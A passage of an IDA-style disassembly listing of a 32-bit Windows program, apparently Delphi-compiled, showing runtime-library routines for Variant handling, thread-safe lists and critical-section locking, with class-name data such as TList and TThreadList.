		mov	edx, off_4001B09C
		mov	edx, [edx]
		mov	eax, esi
		call	sub_40004B94


loc_40012A23:				; CODE XREF: sub_4001293C+44j
					; sub_4001293C+5Cj ...
		test	bh, 20h
		jz	short loc_40012A36
		mov	ecx, [esi]
		mov	eax, esi
		mov	edx, offset dword_40012A94
		call	sub_40004B94


loc_40012A36:				; CODE XREF: sub_4001293C+EAj
		test	bh, 40h
		jz	short loc_40012A49
		mov	ecx, [esi]
		mov	eax, esi
		mov	edx, offset dword_40012AA4
		call	sub_40004B94


loc_40012A49:				; CODE XREF: sub_4001293C+FDj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40012A69


loc_40012A56:				; CODE XREF: sub_4001293C+12Bj
		lea	eax, [ebp+var_208]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40012A62:				; DATA XREF: sub_4001293C+1Bo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40012A56
; ---------------------------------------------------------------------------


loc_40012A69:				; CODE XREF: sub_4001293C+125j
					; DATA XREF: sub_4001293C+115o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4001293C	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 6
aString_0	db 'String',0           ; DATA XREF: sub_4001293C+52o
		align 10h
		dd 0FFFFFFFFh, 3
dword_40012A88	dd 796E41h, 0FFFFFFFFh,	6dword_40012A94	dd 61727241h, 2079h, 0FFFFFFFFh, 6dword_40012AA4	dd 65527942h, 2066h
; =============== S U B	R O U T	I N E =======================================



sub_40012AAC	proc near		; CODE XREF: sub_40012AC4+5p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_4000E3D8
		mov	word ptr [ebx],	0Ah
		mov	[ebx+8], esi
		pop	esi
		pop	ebx
		retn
sub_40012AAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40012AC4	proc near		; CODE XREF: sub_40019144+1Fp
		mov	edx, 80020004h
		call	sub_40012AAC
		retn
sub_40012AC4	endp

; ---------------------------------------------------------------------------
		align 10h
off_40012AD0	dd offset dword_40012AD4 ; DATA	XREF: sub_40012E54+56r
dword_40012AD4	dd 302E0311h, 432h, 0		dd 0FFFFFF00h
		db 0FFh
		dd offset off_4000D6B4
		db 8, 56h, 61h
		dd 6E616972h, 0C08B7374h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012AF4	proc near		; CODE XREF: sub_40012E54+19p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, offset dword_4001F2A8
		push	offset dword_4001F2AC
		call	sub_40006520	; RtlEnterCriticalSection
		xor	edx, edx
		push	ebp
		push	offset loc_40012B55
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [esi]
		call	sub_4000596C
		mov	ebx, eax
		dec	ebx
		cmp	ebx, 0
		jl	short loc_40012B3D


loc_40012B25:				; CODE XREF: sub_40012AF4+47j
		mov	eax, [esi]
		mov	eax, [eax+ebx*4]
		cmp	eax, dword_4001AA1C
		jz	short loc_40012B37
		call	sub_40003CE8


loc_40012B37:				; CODE XREF: sub_40012AF4+3Cj
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40012B25


loc_40012B3D:				; CODE XREF: sub_40012AF4+2Fj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40012B5C


loc_40012B4A:				; CODE XREF: sub_40012AF4+66j
		push	offset dword_4001F2AC
		call	sub_400065E8	; RtlLeaveCriticalSection
		retn
; ---------------------------------------------------------------------------


loc_40012B55:				; DATA XREF: sub_40012AF4+17o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40012B4A
; ---------------------------------------------------------------------------


loc_40012B5C:				; DATA XREF: sub_40012AF4+51o
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40012AF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012B60	proc near		; DATA XREF: .text:4000D690o
		push	ebp
		mov	ebp, esp
		call	sub_40012D20
		pop	ebp
		retn	4
sub_40012B60	endp


; =============== S U B	R O U T	I N E =======================================



sub_40012B6C	proc near		; DATA XREF: .text:4000D67Co

var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	esi, ecx
		mov	edi, edx
		mov	ebx, eax
		mov	edx, esp
		movzx	eax, word ptr [esi]
		call	sub_40012D98
		test	al, al
		jz	short loc_40012B98
		movzx	eax, word ptr [ebx+4]
		push	eax
		mov	ecx, esi
		mov	edx, edi
		mov	eax, [esp+14h+var_10]
		mov	ebx, [eax]
		call	dword ptr [ebx+1Ch]
		jmp	short loc_40012B9F
; ---------------------------------------------------------------------------


loc_40012B98:				; CODE XREF: sub_40012B6C+16j
		mov	eax, ebx
		call	sub_40012D18


loc_40012B9F:				; CODE XREF: sub_40012B6C+2Aj
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40012B6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012BA4	proc near		; DATA XREF: .text:4000D680o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		mov	edi, [ebp+arg_0]
		cmp	di, [ebx+4]
		jz	short loc_40012BDC
		lea	edx, [ebp+var_8]
		movzx	eax, word ptr [esi]
		call	sub_40012D98
		test	al, al
		jz	short loc_40012BDC
		push	edi
		mov	ecx, esi
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	ebx, [eax]
		call	dword ptr [ebx+1Ch]
		jmp	short loc_40012BE3
; ---------------------------------------------------------------------------


loc_40012BDC:				; CODE XREF: sub_40012BA4+17j
					; sub_40012BA4+26j
		mov	eax, ebx
		call	sub_40012D18


loc_40012BE3:				; CODE XREF: sub_40012BA4+36j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	4
sub_40012BA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012BEC	proc near		; DATA XREF: .text:4000D69Co
		push	ebp
		mov	ebp, esp
		call	sub_40012D20
		pop	ebp
		retn	4
sub_40012BEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012BF8	proc near		; DATA XREF: .text:4000D698o

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, eax
		lea	eax, [ebp+var_1]
		push	eax
		mov	edx, edi
		mov	eax, esi
		mov	ebx, [eax]
		call	dword ptr [ebx+38h]
		movzx	eax, [ebp+var_1]
		mov	edx, [ebp+arg_0]
		lea	edx, [edx+edx*2]
		add	edx, offset dword_4001AA74
		movzx	eax, byte ptr [edx+eax-2Ah]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	4
sub_40012BF8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40012C30	proc near		; DATA XREF: .text:4000D684o

var_14		= word ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	esi, ecx
		mov	edi, edx
		mov	ebx, eax
		mov	ecx, esp
		mov	edx, esi
		mov	eax, ebx
		mov	ebp, [eax]
		call	dword ptr [ebp+0Ch]
		test	al, al
		jz	short loc_40012C5C
		movzx	eax, [esp+14h+var_14]
		push	eax
		mov	ecx, esi
		mov	edx, edi
		mov	eax, ebx
		mov	ebx, [eax]
		call	dword ptr [ebx+1Ch]
		jmp	short loc_40012C63
; ---------------------------------------------------------------------------


loc_40012C5C:				; CODE XREF: sub_40012C30+18j
		mov	eax, ebx
		call	sub_40012D18


loc_40012C63:				; CODE XREF: sub_40012C30+2Aj
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40012C30	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012C6C	proc near		; DATA XREF: .text:4000D660o

var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		call	sub_40003FD8
		mov	[ebp+var_5], dl
		mov	[ebp+var_4], eax
		push	offset dword_4001F2AC
		call	sub_40006520	; RtlEnterCriticalSection
		xor	edx, edx
		push	ebp
		push	offset loc_40012CCF
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax+4]
		test	ax, ax
		jz	short loc_40012CB7
		movzx	eax, ax
		mov	edx, ds:dword_4001F2A8
		mov	ecx, dword_4001AA1C
		mov	[edx+eax*4-400h], ecx


loc_40012CB7:				; CODE XREF: sub_40012C6C+33j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40012CD6


loc_40012CC4:				; CODE XREF: sub_40012C6C+68j
		push	offset dword_4001F2AC
		call	sub_400065E8	; RtlLeaveCriticalSection
		retn
; ---------------------------------------------------------------------------


loc_40012CCF:				; DATA XREF: sub_40012C6C+1Eo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40012CC4
; ---------------------------------------------------------------------------


loc_40012CD6:				; DATA XREF: sub_40012C6C+53o
		movzx	edx, [ebp+var_5]
		and	dl, 0FCh
		mov	eax, [ebp+var_4]
		call	sub_40003CD8
		cmp	[ebp+var_5], 0
		jle	short loc_40012CF3
		mov	eax, [ebp+var_4]
		call	sub_40003F80


loc_40012CF3:				; CODE XREF: sub_40012C6C+7Dj
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_40012C6C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40012CF8	proc near		; DATA XREF: .text:4000D678o
		xor	eax, eax
		retn
sub_40012CF8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012CFC	proc near		; DATA XREF: .text:4000D668o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		movzx	eax, word ptr [eax+4]
		mov	[edx], ax
		mov	al, 1
		pop	ebp
		retn	4
sub_40012CFC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40012D10	proc near		; DATA XREF: .text:4000D670o
		mov	word ptr [ecx],	8
		mov	al, 1
		retn
sub_40012D10	endp


; =============== S U B	R O U T	I N E =======================================



sub_40012D18	proc near		; CODE XREF: sub_40012B6C+2Ep
					; sub_40012BA4+3Ap ...
		call	sub_4000DBA0
		retn
sub_40012D18	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40012D20	proc near		; CODE XREF: sub_40012B60+3p
					; sub_40012BEC+3p ...
		call	sub_4000DC90
		retn
sub_40012D20	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40012D28	proc near		; CODE XREF: sub_40012D4C+3p
		call	sub_4000E0EC
		retn
sub_40012D28	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012D30	proc near		; DATA XREF: .text:4000D66Co

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		movzx	eax, word ptr [eax+4]
		mov	[edx], ax
		mov	al, 1
		pop	ebp
		retn	4
sub_40012D30	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40012D44	proc near		; DATA XREF: .text:4000D694o
		call	sub_40012D20
		retn
sub_40012D44	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012D4C	proc near		; DATA XREF: .text:4000D674o
		push	ebp
		mov	ebp, esp
		call	sub_40012D28
		pop	ebp
		retn	8
sub_40012D4C	endp

; ---------------------------------------------------------------------------


loc_40012D58:				; CODE XREF: .text:4000D5DBj
		push	ebp
		mov	ebp, esp
		or	eax, 0FFFFFFFFh
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 4


loc_40012D64:				; CODE XREF: .text:4000D5E5j
		push	ebp
		mov	ebp, esp
		or	eax, 0FFFFFFFFh
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012D70	proc near		; DATA XREF: .text:off_4000D664o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		mov	eax, ebx
		call	sub_40003D9C
		test	al, al
		jz	short loc_40012D8C
		xor	eax, eax
		jmp	short loc_40012D91
; ---------------------------------------------------------------------------


loc_40012D8C:				; CODE XREF: sub_40012D70+16j
		mov	eax, 80004002h


loc_40012D91:				; CODE XREF: sub_40012D70+1Aj
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40012D70	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012D98	proc near		; CODE XREF: sub_4000E35C+56p
					; sub_4000E654+80p ...

var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	ebx, eax
		cmp	ds:dword_4001F2A8, 0
		jz	short loc_40012DBA
		cmp	bx, 100h
		jb	short loc_40012DBA
		cmp	bx, 7FFh
		jbe	short loc_40012DBE


loc_40012DBA:				; CODE XREF: sub_40012D98+12j
					; sub_40012D98+19j
		xor	eax, eax
		jmp	short loc_40012DC0
; ---------------------------------------------------------------------------


loc_40012DBE:				; CODE XREF: sub_40012D98+20j
		mov	al, 1


loc_40012DC0:				; CODE XREF: sub_40012D98+24j
		mov	[ebp+var_1], al
		cmp	[ebp+var_1], 0
		jz	short loc_40012E47
		push	offset dword_4001F2AC
		call	sub_40006520	; RtlEnterCriticalSection
		xor	eax, eax
		push	ebp
		push	offset loc_40012E40
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ds:dword_4001F2A8
		call	sub_4000596C
		movzx	edi, bx
		mov	edx, edi
		sub	edx, 100h
		cmp	eax, edx
		setnle	[ebp+var_1]
		cmp	[ebp+var_1], 0
		jz	short loc_40012E28
		mov	eax, ds:dword_4001F2A8
		mov	eax, [eax+edi*4-400h]
		mov	[esi], eax
		cmp	dword ptr [esi], 0
		jz	short loc_40012E1F
		mov	eax, [esi]
		cmp	eax, dword_4001AA1C
		jnz	short loc_40012E23


loc_40012E1F:				; CODE XREF: sub_40012D98+7Bj
		xor	eax, eax
		jmp	short loc_40012E25
; ---------------------------------------------------------------------------


loc_40012E23:				; CODE XREF: sub_40012D98+85j
		mov	al, 1


loc_40012E25:				; CODE XREF: sub_40012D98+89j
		mov	[ebp+var_1], al


loc_40012E28:				; CODE XREF: sub_40012D98+68j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40012E47


loc_40012E35:				; CODE XREF: sub_40012D98+ADj
		push	offset dword_4001F2AC
		call	sub_400065E8	; RtlLeaveCriticalSection
		retn
; ---------------------------------------------------------------------------


loc_40012E40:				; DATA XREF: sub_40012D98+3Eo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40012E35
; ---------------------------------------------------------------------------


loc_40012E47:				; CODE XREF: sub_40012D98+2Fj
					; DATA XREF: sub_40012D98+98o
		movzx	eax, [ebp+var_1]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_40012D98	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012E54	proc near		; DATA XREF: .text:40018380o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40012EC3
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4001F2A4
		jnz	short loc_40012EB5
		call	sub_40012AF4
		push	offset dword_4001F2AC
		call	sub_40006518	; RtlDeleteCriticalSection
		mov	eax, offset dword_4001F284
		call	sub_4000E3EC
		mov	eax, offset dword_4001AA14
		call	sub_40004884
		mov	eax, offset off_4001AA20
		mov	ecx, 15h
		mov	edx, ds:off_40001000
		call	sub_40005314
		mov	eax, offset dword_4001F2A8
		mov	edx, ds:off_40012AD0
		call	sub_40005B34


loc_40012EB5:				; CODE XREF: sub_40012E54+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40012ECA


loc_40012EC2:				; CODE XREF: sub_40012E54+74j
		retn
; ---------------------------------------------------------------------------


loc_40012EC3:				; DATA XREF: sub_40012E54+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40012EC2
; ---------------------------------------------------------------------------


loc_40012ECA:				; CODE XREF: sub_40012E54:loc_40012EC2j
					; DATA XREF: sub_40012E54+69o
		pop	ebp
		retn
sub_40012E54	endp

; ---------------------------------------------------------------------------
off_40012ECC	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AFACo
		dd 0FFAAh
		dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF90o
		dd 0FFABh
		dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF7Co
		dd 0FFACh
off_40012EE4	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AFE4o
		dd 0FFADh
off_40012EEC	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AFA0o
		dd 0FFAEh
		dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B05Co
		dd 0FFAFh
		dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B0D4o
		db 90h
		db 0FFh, 2 dup(0)
		dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AFCCo
		dd 0FF91h, 0FFFFFFFFh, 5
aFalse_0	db 'False',0            ; DATA XREF: .data:off_4001AA88o
		align 4
dword_40012F1C	dd 0FFFFFFFFh, 4, 65757254h, 0		dd 0FFFFFFFFh, 1
dword_40012F34	dd 2Eh		
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012F38	proc near		; DATA XREF: .text:40018390o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40012F7E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4001F2C4
		jnz	short loc_40012F70
		mov	eax, offset off_4001AA88
		mov	ecx, 2
		mov	edx, ds:off_40001000
		call	sub_40005314
		mov	eax, offset off_4001AA90
		call	sub_40004884


loc_40012F70:				; CODE XREF: sub_40012F38+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40012F85


loc_40012F7D:				; CODE XREF: sub_40012F38+4Bj
		retn
; ---------------------------------------------------------------------------


loc_40012F7E:				; DATA XREF: sub_40012F38+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40012F7D
; ---------------------------------------------------------------------------


loc_40012F85:				; CODE XREF: sub_40012F38:loc_40012F7Dj
					; DATA XREF: sub_40012F38+40o
		pop	ebp
		retn
sub_40012F38	endp

; ---------------------------------------------------------------------------
		align 4
off_40012F88	dd offset dword_40012FD4 ; DATA	XREF: sub_40013770+23r
		dd 7 dup(0)
		dd offset dword_40012FD4
		dd 0Ch
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40012FD4	dd 694C450Ah, 72457473h, 90726F72h					; .text:40012FA8o
off_40012FE0	dd offset dword_4001302C ; DATA	XREF: sub_4001552C+36r
		dd 7 dup(0)
		dd offset dword_4001302C
		dd 0Ch
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4001302C	dd 6E494511h, 696C6176h, 65704F64h, 69746172h, 0C08B6E6Fh
					; DATA XREF: .text:off_40012FE0o
					; .text:40013000o
off_40013040	dd offset off_4001308C	; DATA XREF: sub_4001326C+25r
					; sub_400133D4+1Er ...
		dd 7 dup(0)
		dd offset dword_4001309C
		dd 10h
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_4001369C
off_4001308C	dd offset loc_40013824	; DATA XREF: .text:off_40013040o
		dd offset nullsub_5
		dd offset sub_400136F0
		dd offset sub_40013770
dword_4001309C	dd 694C5405h, 0C08B7473hoff_400130A4	dd offset dword_400130F0 ; DATA	XREF: sub_400191F8+5Br
					; sub_400191F8+6Cr ...
		dd 7 dup(0)
		dd offset dword_400130F0
		dd 24h
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_400139A0
dword_400130F0	dd 6854540Bh, 64616572h, 7473694Ch					; .text:400130C4o
		dd offset off_40013148	; DATA XREF: sub_400133D4+34r
		dd 3 dup(0)
		dd offset dword_40013174
		dd 2 dup(0)
		dd offset dword_40013154
		dd offset word_40013162
		dd 4
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40013B14
off_40013148	dd offset loc_40013C24	; DATA XREF: .text:400130FCo
					; .text:40013181o
		dd offset nullsub_6
		dd offset sub_40013B40
dword_40013154	dd 0FFFF0002h			db 0FEh, 0FFh
		dd offset loc_40013CE0
		dd offset sub_40013C30
word_40013162	dw 540Bh		; DATA XREF: .text:4001311Co
		dd 73726550h, 65747369h, 0C08B746Eh
		dd offset dword_40013174
dword_40013174	dd 50540B07h, 69737265h, 6E657473h					; .text:40013170o
		db 74h
		dd offset off_40013148
		dd offset off_40001070
		db 2 dup(0), 7
aClasses	db 'Classes',0
		align 8
off_40013198	dd offset dword_4001319C ; DATA	XREF: sub_40015C34+9Br
					; sub_40015C34+B0r
dword_4001319C	dd 49540E0Eh, 746E6564h, 4570614Dh, 7972746Eh, 8, 1
					; DATA XREF: .text:off_40013198o
		dd offset off_40001000
		dd 4
off_400131BC	dd offset dword_40013208 ; DATA	XREF: sub_400133D4+3Cr
		dd 7 dup(0)
		dd offset dword_40013208
		dd 14h
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_400132C8
dword_40013208	dd 65525409h, 6F724767h, 0C08B7075h					; .text:400131DCo
off_40013214	dd offset dword_40013260 ; DATA	XREF: sub_400191F8+4Ar
		dd 7 dup(0)
		dd offset dword_40013260
		dd 24h
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40013448
dword_40013260	dd 6552540Ah, 6F724767h, 90737075h					; .text:40013234o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4001326C	proc near		; CODE XREF: sub_400133D4+41p

var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_4001327F
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_4001327F:				; CODE XREF: sub_4001326C+9j
		mov	edi, ecx
		mov	[ebp+var_1], dl
		mov	ebx, eax
		xor	edx, edx
		mov	eax, ebx
		call	sub_40003CB8
		mov	dl, 1
		mov	eax, ds:off_40013040
		call	sub_40003CB8
		mov	esi, eax
		mov	[ebx+0Ch], esi
		mov	eax, esi
		mov	edx, edi
		call	sub_400136BC
		mov	eax, ebx
		cmp	[ebp+var_1], 0
		jz	short loc_400132C0
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_400132C0:				; CODE XREF: sub_4001326C+43j
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4001326C	endp


; =============== S U B	R O U T	I N E =======================================



sub_400132C8	proc near		; DATA XREF: .text:40013204o
		push	ebx
		push	esi
		call	sub_40003FD8
		mov	ebx, edx
		mov	esi, eax
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_40003CD8
		mov	eax, [esi+4]
		call	sub_40003CE8
		mov	eax, [esi+8]
		call	sub_40003CE8
		mov	eax, [esi+0Ch]
		call	sub_40003CE8
		test	bl, bl
		jle	short loc_40013302
		mov	eax, esi
		call	sub_40003F80


loc_40013302:				; CODE XREF: sub_400132C8+31j
		pop	esi
		pop	ebx
		retn
sub_400132C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40013308	proc near		; CODE XREF: sub_40013328+1Fp
					; sub_40013328+54p ...
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		test	ebx, ebx
		jz	short loc_40013322
		mov	eax, esi
		call	sub_40005B98
		cmp	ebx, eax
		jz	short loc_40013322
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40013322:				; CODE XREF: sub_40013308+8j
					; sub_40013308+13j
		mov	al, 1
		pop	esi
		pop	ebx
		retn
sub_40013308	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40013328	proc near		; CODE XREF: sub_400134C0+24p
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, eax
		mov	eax, [esi+0Ch]
		mov	ebx, [eax+8]
		dec	ebx
		cmp	ebx, 0
		jl	short loc_40013360


loc_4001333B:				; CODE XREF: sub_40013328+36j
		mov	edx, ebx
		mov	eax, [esi+0Ch]
		call	sub_400137FC
		mov	edx, edi
		call	sub_40013308
		test	al, al
		jz	short loc_4001335A
		mov	edx, ebx
		mov	eax, [esi+0Ch]
		call	sub_40013708


loc_4001335A:				; CODE XREF: sub_40013328+26j
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4001333B


loc_40013360:				; CODE XREF: sub_40013328+11j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40013395
		mov	ebx, [eax+8]
		dec	ebx
		cmp	ebx, 0
		jl	short loc_40013395


loc_40013370:				; CODE XREF: sub_40013328+6Bj
		mov	edx, ebx
		mov	eax, [esi+4]
		call	sub_400137FC
		mov	edx, edi
		call	sub_40013308
		test	al, al
		jz	short loc_4001338F
		mov	edx, ebx
		mov	eax, [esi+4]
		call	sub_40013708


loc_4001338F:				; CODE XREF: sub_40013328+5Bj
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40013370


loc_40013395:				; CODE XREF: sub_40013328+3Dj
					; sub_40013328+46j
		mov	ebx, [esi+8]
		test	ebx, ebx
		jz	short loc_400133D0
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		dec	eax
		cmp	eax, 0
		jl	short loc_400133D0
		mov	ebx, eax


loc_400133AB:				; CODE XREF: sub_40013328+A6j
		mov	edx, ebx
		mov	eax, [esi+8]
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		mov	edx, edi
		call	sub_40013308
		test	al, al
		jz	short loc_400133CA
		mov	edx, ebx
		mov	eax, [esi+8]
		mov	ecx, [eax]
		call	dword ptr [ecx+48h]


loc_400133CA:				; CODE XREF: sub_40013328+96j
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_400133AB


loc_400133D0:				; CODE XREF: sub_40013328+72j
					; sub_40013328+7Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40013328	endp


; =============== S U B	R O U T	I N E =======================================



sub_400133D4	proc near		; CODE XREF: sub_400191F8+4Fp
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_400133E3
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_400133E3:				; CODE XREF: sub_400133D4+5j
		mov	ebx, edx
		mov	edi, eax
		xor	edx, edx
		mov	eax, edi
		call	sub_40003CB8
		mov	dl, 1
		mov	eax, ds:off_40013040
		call	sub_40003CB8
		mov	[edi+4], eax
		lea	eax, [edi+8]
		push	eax
		call	sub_400065E0	; InitializeCriticalSection
		mov	ecx, ds:off_400130FC
		mov	dl, 1
		mov	eax, ds:off_400131BC
		call	sub_4001326C
		mov	esi, eax
		mov	eax, [edi+4]
		mov	edx, esi
		call	sub_400136BC
		mov	byte ptr [esi+10h], 1
		mov	eax, edi
		test	bl, bl
